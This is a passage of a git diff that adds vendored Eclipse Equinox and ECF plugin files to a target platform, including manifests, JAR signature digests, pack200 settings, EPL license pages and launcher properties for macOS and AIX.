Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.net.linux.x86_64_1.1.0.I20110331-0827.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.net.win32.x86_1.0.100.I20110331-0827.jar b/targetPlatform/plugins/org.eclipse.core.net.win32.x86_1.0.100.I20110331-0827.jar new file mode 100755 index 0000000..ea10066 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.net.win32.x86_1.0.100.I20110331-0827.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.net.win32.x86_64_1.0.100.I20110331-0827.jar b/targetPlatform/plugins/org.eclipse.core.net.win32.x86_64_1.0.100.I20110331-0827.jar new file mode 100755 index 0000000..c15066b Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.net.win32.x86_64_1.0.100.I20110331-0827.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.net_1.2.100.I20110511-0800.jar b/targetPlatform/plugins/org.eclipse.core.net_1.2.100.I20110511-0800.jar new file mode 100755 index 0000000..18c978c Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.net_1.2.100.I20110511-0800.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.resources_3.7.101.v20120125-1505.jar b/targetPlatform/plugins/org.eclipse.core.resources_3.7.101.v20120125-1505.jar new file mode 100755 index 0000000..b5b7dfc Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.resources_3.7.101.v20120125-1505.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.runtime.compatibility.auth_3.2.200.v20110110.jar b/targetPlatform/plugins/org.eclipse.core.runtime.compatibility.auth_3.2.200.v20110110.jar new file mode 100755 index 0000000..857eacc Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.runtime.compatibility.auth_3.2.200.v20110110.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.runtime_3.7.0.v20110110.jar b/targetPlatform/plugins/org.eclipse.core.runtime_3.7.0.v20110110.jar new file mode 100755 index 0000000..cafc45a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.runtime_3.7.0.v20110110.jar differ diff --git a/targetPlatform/plugins/org.eclipse.core.variables_3.2.500.v20110928-1503.jar b/targetPlatform/plugins/org.eclipse.core.variables_3.2.500.v20110928-1503.jar new file mode 100755 index 0000000..f3a1a54 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.core.variables_3.2.500.v20110928-1503.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.filetransfer_5.0.0.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.filetransfer_5.0.0.v20110531-2218.jar new file mode 100755 index 0000000..82588cf Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.filetransfer_5.0.0.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.identity_3.1.100.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.identity_3.1.100.v20110531-2218.jar new file mode 100755 index 0000000..92f0910 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.identity_3.1.100.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient.ssl_1.0.0.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient.ssl_1.0.0.v20110531-2218.jar new file mode 100755 index 0000000..32d041d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient.ssl_1.0.0.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient_4.0.0.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient_4.0.0.v20110531-2218.jar new file mode 100755 index 0000000..f8f1fbc Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.httpclient_4.0.0.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20110531-2218.jar new file mode 100755 index 0000000..d10cf67 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer.ssl_1.0.0.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer_3.2.0.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer_3.2.0.v20110531-2218.jar new file mode 100755 index 0000000..e028dac Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.provider.filetransfer_3.2.0.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf.ssl_1.0.100.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf.ssl_1.0.100.v20110531-2218.jar new file mode 100755 index 0000000..b742a78 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf.ssl_1.0.100.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.ecf_3.1.300.v20110531-2218.jar b/targetPlatform/plugins/org.eclipse.ecf_3.1.300.v20110531-2218.jar new file mode 100755 index 0000000..49c4bb8 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.ecf_3.1.300.v20110531-2218.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.app_1.3.100.v20110321.jar b/targetPlatform/plugins/org.eclipse.equinox.app_1.3.100.v20110321.jar new file mode 100755 index 0000000..c4ba60a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.app_1.3.100.v20110321.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.common_3.6.0.v20110523.jar b/targetPlatform/plugins/org.eclipse.equinox.common_3.6.0.v20110523.jar new file mode 100755 index 0000000..759302f Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.common_3.6.0.v20110523.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.ds_1.3.1.R37x_v20110701.jar b/targetPlatform/plugins/org.eclipse.equinox.ds_1.3.1.R37x_v20110701.jar new file mode 100755 index 0000000..59db60d Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.ds_1.3.1.R37x_v20110701.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin.equinox_1.0.300.v20110815-1438.jar b/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin.equinox_1.0.300.v20110815-1438.jar new file mode 100755 index 0000000..c4a0856 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin.equinox_1.0.300.v20110815-1438.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin_2.0.0.v20110815-1438.jar b/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin_2.0.0.v20110815-1438.jar new file mode 100755 index 0000000..35a964b Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.frameworkadmin_2.0.0.v20110815-1438.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.http.jetty_2.0.100.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.http.jetty_2.0.100.v20110502.jar new file mode 100755 index 0000000..e5f4960 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.http.jetty_2.0.100.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.http.registry_1.1.100.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.http.registry_1.1.100.v20110502.jar new file mode 100755 index 0000000..d8ba91a Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.http.registry_1.1.100.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.http.servlet_1.1.200.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.http.servlet_1.1.200.v20110502.jar new file mode 100755 index 0000000..f4dbac5 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.http.servlet_1.1.200.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper.registry_1.0.200.v20100503.jar b/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper.registry_1.0.200.v20100503.jar new file mode 100755 index 0000000..8728e51 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper.registry_1.0.200.v20100503.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper_1.0.300.v20110502.jar b/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper_1.0.300.v20110502.jar new file mode 100755 index 0000000..ae3f035 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.jsp.jasper_1.0.300.v20110502.jar differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..d5d72fa Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..c52173a --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: eOfpH0anvB2Und8banDvMUWhRnI= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: FOlkMbF/UqKGSnVeZofIenqKn/E= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1406.so +SHA1-Digest: jaMdwFz60OxVZvjA1LJt9ipMspE= + +Name: launcher.carbon.macosx.properties +SHA1-Digest: 39zjcyWc1AcTH/0s6T1MWWDGY5M= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/MANIFEST.MF new file mode 100755 index 0000000..6ec3dca --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=carbon) (osgi.os=macosx) (|(osgi.a + rch=x86)(osgi.arch=ppc)) ) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.carbon.macosx +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.carbon.macosx;single + ton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:cvs:pserver:dev.eclipse.org:/cvsroot/rt: + org.eclipse.equinox/framework/bundles/org.eclipse.equinox.launcher/fr + agments/org.eclipse.equinox.launcher.carbon.macosx;tag=v20110502 +Bundle-Version: 1.1.100.v20110502 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: launcher.carbon.macosx.properties +SHA1-Digest: OcH2hjHwhpGpvIqb+5SRogLiYJc= + +Name: eclipse_1406.so +SHA1-Digest: 0dAyFpBjF9y7R/SLP47IRSfSSyM= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/eclipse_1406.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/eclipse_1406.so new file mode 100755 index 0000000..c85dc3c Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/eclipse_1406.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/launcher.carbon.macosx.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/launcher.carbon.macosx.properties new file mode 100755 index 0000000..f158577 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.carbon.macosx_1.1.100.v20110502/launcher.carbon.macosx.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2008, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher MacOSX Carbon Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..6aa6fdb Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..392acb3 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: 6XRQnZBE6tbubpYRBdjAQKVja3U= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: FRGdf8AaUXgZ4bvjbDNqqd5i13I= + +Name: launcher.cocoa.macosx.x86_64.properties +SHA1-Digest: U2EvHou/tNFTe+26vwJllYc7LCM= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1408.so +SHA1-Digest: j+klr4D3yEmwwoXV6jo/q59ZO9g= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/MANIFEST.MF new file mode 100755 index 0000000..877d861 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=cocoa) (osgi.os=macosx) (osgi.arch + =x86_64) ) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.cocoa.macosx.x86_64 +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.cocoa.macosx.x86_64; + singleton:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:git:git://git.eclipse.org/gitroot/equino + x/rt.equinox.framework.git;path="bundles/org.eclipse.equinox.launcher + .cocoa.macosx.x86_64";tag=v20120109-1504 +Bundle-Version: 1.1.101.v20120109-1504 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: launcher.cocoa.macosx.x86_64.properties +SHA1-Digest: oKHma8pB0BwLF+nOBw2U7lFOo1U= + +Name: eclipse_1408.so +SHA1-Digest: XgTxpcnrjBV5+m7DkaHxR7V6iK0= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/eclipse_1408.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/eclipse_1408.so new file mode 100755 index 0000000..35185ef Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/eclipse_1408.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/launcher.cocoa.macosx.x86_64.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/launcher.cocoa.macosx.x86_64.properties new file mode 100755 index 0000000..eea3f37 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx.x86_64_1.1.101.v20120109-1504/launcher.cocoa.macosx.x86_64.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2008, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher MacOSX Cocoa Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..e2ded46 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..b4cbe84 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: ZDh6EkuP9ZHMBDsLPYkZ9fQ+RYM= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: CfiD+LX4SjDPON7urxUZTqKTOHU= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1408.so +SHA1-Digest: zD9cuNG+zAsv1pkZqZ/GRdpt324= + +Name: launcher.cocoa.macosx.properties +SHA1-Digest: s0h65jecH8vT/6fNvLunn0tbv4I= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/MANIFEST.MF new file mode 100755 index 0000000..e6c12a1 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/MANIFEST.MF @@ -0,0 +1,29 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=cocoa) (osgi.os=macosx) (|(osgi.ar + ch=x86)(osgi.arch=ppc)) ) +Bundle-Vendor: %providerName +Bundle-Localization: launcher.cocoa.macosx +Fragment-Host: org.eclipse.equinox.launcher;bundle-version="[1.0.0,1.3 + .0)" +Bundle-Name: %pluginName +Bundle-SymbolicName: org.eclipse.equinox.launcher.cocoa.macosx;singlet + on:=true +Eclipse-BundleShape: dir +Eclipse-SourceReferences: scm:git:git://git.eclipse.org/gitroot/equino + x/rt.equinox.framework.git;path="bundles/org.eclipse.equinox.launcher + .cocoa.macosx";tag=v20120109-1504 +Bundle-Version: 1.1.101.v20120109-1504 +Bundle-ManifestVersion: 2 + +Name: META-INF/eclipse.inf +SHA1-Digest: KyT9FF7C7t86NoBoa2kZT3ZJBfw= + +Name: eclipse_1408.so +SHA1-Digest: PEMzkbFGOLAn6vFeIPHXb5HLO00= + +Name: launcher.cocoa.macosx.properties +SHA1-Digest: oKHma8pB0BwLF+nOBw2U7lFOo1U= + +Name: about.html +SHA1-Digest: a9lDHrGuLPkvHBUhsqWU+V2mhPw= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/eclipse.inf b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/eclipse.inf new file mode 100755 index 0000000..7864d3c --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/META-INF/eclipse.inf @@ -0,0 +1,3 @@ +#Processed using Jarprocessor +pack200.args = -E4 +pack200.conditioned = true diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/about.html b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/about.html new file mode 100755 index 0000000..395df3b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/about.html @@ -0,0 +1,28 @@ + + + + +About + + +

    About This Content

    + +

    June 5, 2006

    +

    License

    + +

    The Eclipse Foundation makes available all content in this plug-in ("Content"). +Unless otherwise indicated below, the Content is provided to you under the terms and conditions of the +Eclipse Public License Version 1.0 ("EPL"). A copy of the EPL is available +at http://www.eclipse.org/legal/epl-v10.html. +For purposes of the EPL, "Program" will mean the Content.

    + +

    If you did not receive this Content directly from the Eclipse Foundation, the Content is +being redistributed by another party ("Redistributor") and different terms and conditions may +apply to your use of any object code in the Content. Check the Redistributor’s license +that was provided with the Content. If no such license exists, contact the Redistributor. Unless otherwise +indicated below, the terms and conditions of the EPL still apply to any source code in the Content +and such source code may be obtained at http://www.eclipse.org.

    + + + \ No newline at end of file diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/eclipse_1408.so b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/eclipse_1408.so new file mode 100755 index 0000000..94c9387 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/eclipse_1408.so differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/launcher.cocoa.macosx.properties b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/launcher.cocoa.macosx.properties new file mode 100755 index 0000000..eea3f37 --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.cocoa.macosx_1.1.101.v20120109-1504/launcher.cocoa.macosx.properties @@ -0,0 +1,12 @@ +############################################################################### +# Copyright (c) 2008, 2009 IBM Corporation and others. +# All rights reserved. This program and the accompanying materials +# are made available under the terms of the Eclipse Public License v1.0 +# which accompanies this distribution, and is available at +# http://www.eclipse.org/legal/epl-v10.html +# +# Contributors: +# IBM Corporation - initial API and implementation +############################################################################### +pluginName = Equinox Launcher MacOSX Cocoa Fragment +providerName = Eclipse.org - Equinox diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.RSA b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.RSA new file mode 100755 index 0000000..a831263 Binary files /dev/null and b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.RSA differ diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.SF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.SF new file mode 100755 index 0000000..a81102b --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/ECLIPSEF.SF @@ -0,0 +1,17 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest: hNOleeUq0Tiv56hp+CNMiSwX4vg= +Created-By: 1.6.0 (IBM Corporation) +SHA1-Digest-Manifest-Main-Attributes: WtNbPmP+xsQ4Cl5qYc+1am/UBrs= + +Name: META-INF/eclipse.inf +SHA1-Digest: SAqY+5ITAL0mkdYeijlSRhyIaZk= + +Name: eclipse_1407.so +SHA1-Digest: SkBO1nDfO28z7GpwnpIbir2mgDA= + +Name: about.html +SHA1-Digest: xGcp/Hbq/ywyvVWkPzD/2vkIzdY= + +Name: launcher.gtk.aix.ppc64.properties +SHA1-Digest: o7e+URGWM3XQond3W5zrFFA/wr4= + diff --git a/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/MANIFEST.MF b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/MANIFEST.MF new file mode 100755 index 0000000..c83e2ef --- /dev/null +++ b/targetPlatform/plugins/org.eclipse.equinox.launcher.gtk.aix.ppc64_1.1.0.v20110530/META-INF/MANIFEST.MF @@ -0,0 +1,27 @@ +Manifest-Version: 1.0 +Eclipse-PlatformFilter: (& (osgi.ws=gtk) (osgi.os=aix) 